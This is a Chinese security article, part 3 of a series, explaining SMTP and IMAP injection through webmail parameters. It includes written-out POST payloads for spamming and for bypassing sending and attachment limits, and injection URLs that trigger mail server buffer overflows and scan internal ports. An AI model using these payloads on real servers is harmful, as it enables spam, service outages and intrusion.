如何利用注射技术攻击邮件服务器(3)
来源:51CTO 时间:2008-08-12 11:29:00
(六)垃圾邮件
采用的技术:SMTP注射
用户认证要求:有
这里介绍的情形跟前面的转发攻击一样。因为攻击者的目标是尽量绕开各种限制,例如,一个用户允许发送的电子邮件数量的上限,所以攻击者向有弱点的参数中注入攻击者想要发送的电子邮件数量所需的命令。通过向web服务器发送一个像下面那样的POST请求,攻击者就能完成许多动作。下面举例说明攻击者如何只用一个简单命令来发送三个电子邮件:
POST http:///compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
-----------------------------134475172700422922879687252
...
这将引发下列SMTP命令序列:
MAIL FROM:
RCPT TO:
DATA
Subject: SPAM Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
PAM test
.
...
(七)绕过各种限制
采用的技术:SMTP注射
用户认证要求:有
这里跟前面的转发和垃圾邮件的情形相一致。在此种情况下,通过注入SMTP命令可以绕过施加在应用程序级别上的各种限制。下面通过一些实例加以说明。
绕过允许发送的电子邮件最大数量的限制
假定一个webmail应用程序只允许发送特定数量的电子邮件,也就是对发送次数有所限制。在SMTP注射的帮助下,我们可以轻松地绕过该限制,方法很简单,只要添加跟攻击者想要发送的目的地址一样多的RCPT命令即可:
POST http:///compose.php HTTP/1.1
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
Test
.
-----------------------------134475172700422922879687252
...
这将导致向邮件服务器发送下列SMTP命令:
MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
Test . ...
绕过电子邮件附件的最大值
假定一个webmail应用程序限制了一个电子邮件所带附件的数量,那么我们就可以通过注射SMTP命令来绕过此限制。下面是一个例子,这里通过有弱点的参数“subject”来附加三个文本文件:
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: user1@domain1.com RCPT TO: user2@domain2.com DATA
Content-Type: multipart/mixed; boundary=1234567
--1234567
Content-type: text/plainContent-Disposition: attachment; filename=1.txt
Example 1
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
--1234567--
.
-----------------------------134475172700422922879687252
...
这将导致再次向邮件服务器发送以下SMTP命令:
MAIL FROM:
RCPT TO:
DATA
Subject: Test
.
MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA
Content-Type: multipart/mixed; boundary=1234567
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=1.txt
Example 1
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2
--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3
--1234567--
.
...
通过利用所有这些技巧,攻击者想发送多少电子邮件就能发多少,想带多少附件就带多少。
(八)协议弱点的利用
如果能够在邮件服务器中执行任意命令的话,那么攻击者就能通过向该服务器发送某个命令来利用现有的漏洞。现在举例说明:
针对邮件服务器的DoS攻击
例如MailMax的版本5中的缓冲区溢出,如果在参数SELECT中使用长达256字符的邮箱名称的话,就会导致在邮件服务器中弹出一则消息:“Buffer overrun detected ! -Program :\IMAPMax.exe ”。这时,服务器会停止,并且必须手动重新启动。
假如webmail的前台页面中的参数“mailbox”具有IMAP注射缺陷的话,可以用下列方式利用这个缺陷(这要求用户是经过认证的):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa"
在邮件服务器中执行任意代码
另一种可利用的例子是IMAP服务器MailEnable。它在命令STATUS中有一个缓冲区溢出漏洞,这使得可以在IMAP服务器中执行任意代码。假如我们发现了一个可以对其“mailbox”参数进行IMAP注射的webmail应用程序,那么我们就可以利用用下列方式来进行利用(这要求用户已经过认证):
http:///src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)%0d%0a
扫描内部系统的端口
IMAP服务器UW-IMAP允许任何人利用SELECT命令扫描系统端口,该命令具体形式是:
SELECT " {ip:port} "
下面我们通过一个具体例子来介绍如何利用1.4.2版的SquirrelMail对这个弱点进行利用,我们这里假设参数“mailbox”具有IMAP注射漏洞(这个特殊的弱点要求用户是已经登录的):
1.请求在系统192.168.0.1中一个打开的端口
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}
这会生成下来消息:
ERROR : Connection dropped by imap-server.
Query: SELECT "{192.168.0.1:80}"
2.请求在系统192.168.0.1中已经关闭的端口(21)
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}
上面的请求的应答显示了这样一则消息:
ERROR : Could not complete request.
Query: SELECT "{192.168.0.1:21}"
Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused
一个存心不良的用户可以从这两个IMAP服务器的应答的差别中推断出所请求的端口的状态。
总之,由于邮件服务器注射技术使得邮件服务器对于攻击者或者渗透测试人员来说成为可见的,所以能够利用常规情况下无法利用的漏洞。从web应用程序安全审计员角度来看,发现和利用这些漏洞的能力是一件难得的利器。
(九)IMAP和SMTP注射之间的比较
下面对IMAP和SMTP注射之间进行一些比较,以便读者更好地了解他们之间的区别。
首先,在是否要求认证方面,IMAP注射不要求事先经过认证;但是SMTP注射却要求经过认证。
其次,在攻击类型方面,IMAP注射可以发动以下类型的攻击:
◆信息泄漏
◆IMAP协议的利用
◆绕过CAPTCHA
◆SMTP注射可以发动以下类型的攻击:
◆信息泄漏
◆SMTP协议的利用
◆转发/垃圾邮件
◆绕过各种限制